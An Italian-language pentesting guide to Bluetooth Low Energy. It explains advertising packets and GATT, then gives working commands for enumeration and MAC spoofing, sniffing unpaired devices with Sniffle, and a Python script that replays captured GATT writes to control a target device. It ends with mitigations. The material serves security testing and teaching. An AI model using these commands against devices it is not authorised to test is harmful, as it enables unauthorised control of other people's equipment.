# Pentesting BLE - Bluetooth Low Energy

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## Introduzione

Disponibile dalla specifica Bluetooth 4.0, BLE utilizza solo 40 canali, che coprono la gamma da 2400 a 2483.5 MHz. In confronto, il Bluetooth tradizionale utilizza 79 canali nello stesso intervallo.

I dispositivi BLE comunicano inviando **advertising packets** (**beacons**), questi pacchetti trasmettono l'esistenza del dispositivo BLE ad altri dispositivi nelle vicinanze. Questi beacons a volte **inviamo dati**, anche.

Il dispositivo che ascolta, chiamato anche central device, può rispondere a un advertising packet con una **SCAN request** inviata specificamente al dispositivo che effettua l'advertising. La **response** a quella scan utilizza la stessa struttura dell'**advertising** packet con informazioni aggiuntive che non potevano entrare nella richiesta di advertising iniziale, come il nome completo del dispositivo.

![](<../../images/image (152).png>)

Il byte di preambolo sincronizza la frequenza, mentre l'access address di quattro byte è un **identificatore di connessione**, usato in scenari in cui più dispositivi cercano di stabilire connessioni sugli stessi canali. Successivamente, la Protocol Data Unit (**PDU**) contiene gli **advertising data**. Esistono diversi tipi di PDU; i più comunemente usati sono ADV_NONCONN_IND e ADV_IND. I dispositivi usano il tipo PDU **ADV_NONCONN_IND** se **non accettano connessioni**, trasmettendo dati solo nel pacchetto di advertising. I dispositivi usano **ADV_IND** se **consentono connessioni** e **smettono di inviare advertising** packets una volta che una **connessione** è stata **stabilita**.

### GATT

Il **Generic Attribute Profile** (GATT) definisce come **il dispositivo dovrebbe formattare e trasferire i dati**. Quando stai analizzando l'attack surface di un dispositivo BLE, spesso concentrerai la tua attenzione sul GATT (o sui GATT), perché è il modo in cui **la funzionalità del dispositivo viene attivata** e come i dati vengono memorizzati, raggruppati e modificati. Il GATT elenca le characteristics, descriptors e services di un dispositivo in una tabella come valori a 16 o 32 bit. Una **characteristic** è un valore di **dati** **inviato** tra il central device e il peripheral. Queste characteristics possono avere **descriptors** che **forniscono informazioni aggiuntive su di esse**. Le **Characteristics** sono spesso **raggruppate** in **services** se sono correlate all'esecuzione di una particolare azione.

## Enumerazione
```bash
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66
```
### GATTool

**GATTool** consente di **stabilire** una **connessione** con un altro dispositivo, elencandone le **caratteristiche**, e leggendo e scrivendo i suoi attributi.\
GATTTool può avviare una shell interattiva con l'opzione `-I`:
```bash
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle:
0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle:
0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
[...]

# Write data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)

# Read data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16

# Read connecting with an authenticated encrypted connection
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c
```
### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
```
## Sniffing e controllo attivo dei dispositivi BLE non associati

Molti periferici BLE a basso costo non impongono pairing/bonding. Senza bonding, la cifratura del Link Layer non viene mai abilitata, quindi il traffico ATT/GATT è in chiaro. Un off-path sniffer può seguire la connessione, decodificare le operazioni GATT per apprendere gli handle e i valori delle characteristic, e qualsiasi host nelle vicinanze può poi connettersi e riprodurre quelle scritture per controllare il dispositivo.

### Sniffing with Sniffle (CC26x2/CC1352)

Hardware: un Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) riprogrammato con il firmware Sniffle di NCC Group.

Installa Sniffle e il suo Wireshark extcap su Linux:
```bash
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi
```
Flasha il Sonoff con il firmware Sniffle (assicurati che il tuo dispositivo seriale corrisponda, ad es. /dev/ttyUSB0):
```bash
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
```
Cattura in Wireshark tramite lo Sniffle extcap e pivot rapidamente verso state-changing writes filtrando:
```text
_ws.col.info contains "Sent Write Command"
```
Questo mette in evidenza gli ATT Write Commands dal client; l'handle e il value spesso si mappano direttamente alle azioni del dispositivo (es., scrivere 0x01 su una characteristic buzzer/alert, 0x00 per fermarla).

Esempi rapidi di Sniffle CLI:
```bash
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
```
Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin also works. On small/cheap Nordic dongles you typically overwrite the USB bootloader to load the sniffer firmware, so you either keep a dedicated sniffer dongle or need a J-Link/JTAG to restore the bootloader later.

### Controllo attivo via GATT

Una volta identificati un writable characteristic handle e il valore dal traffico sniffato, connettiti come qualsiasi central ed esegui la stessa write:

- With Nordic nRF Connect for Desktop (BLE app):
- Seleziona il dongle nRF52/nRF52840, esegui la scan e connettiti al target.
- Esplora il database GATT, individua la target characteristic (spesso ha un nome amichevole, e.g., Alert Level).
- Perform a Write with the sniffed bytes (e.g., 01 to trigger, 00 to stop).

- Automatizza su Windows con un Nordic dongle usando Python + blatann:
```python
import time
import blatann

# CONFIG
COM_PORT = "COM29"  # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00"  # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")

# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)

print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)

# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b:  # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")

print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()
```
### Note operative e mitigazioni

- Preferire Sonoff+Sniffle su Linux per un channel hopping robusto e per seguire le connessioni. Tenere uno sniffer Nordic di riserva.
- Senza pairing/bonding, un attacker nelle vicinanze può osservare le writes e replay/craft le proprie verso caratteristiche scrivibili non autenticate.
- Mitigazioni: richiedere pairing/bonding e imporre la cifratura; impostare i permessi delle caratteristiche per richiedere authenticated writes; minimizzare le caratteristiche scrivibili non autenticate; validare GATT ACLs con Sniffle/nRF Connect.

## Riferimenti

- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)

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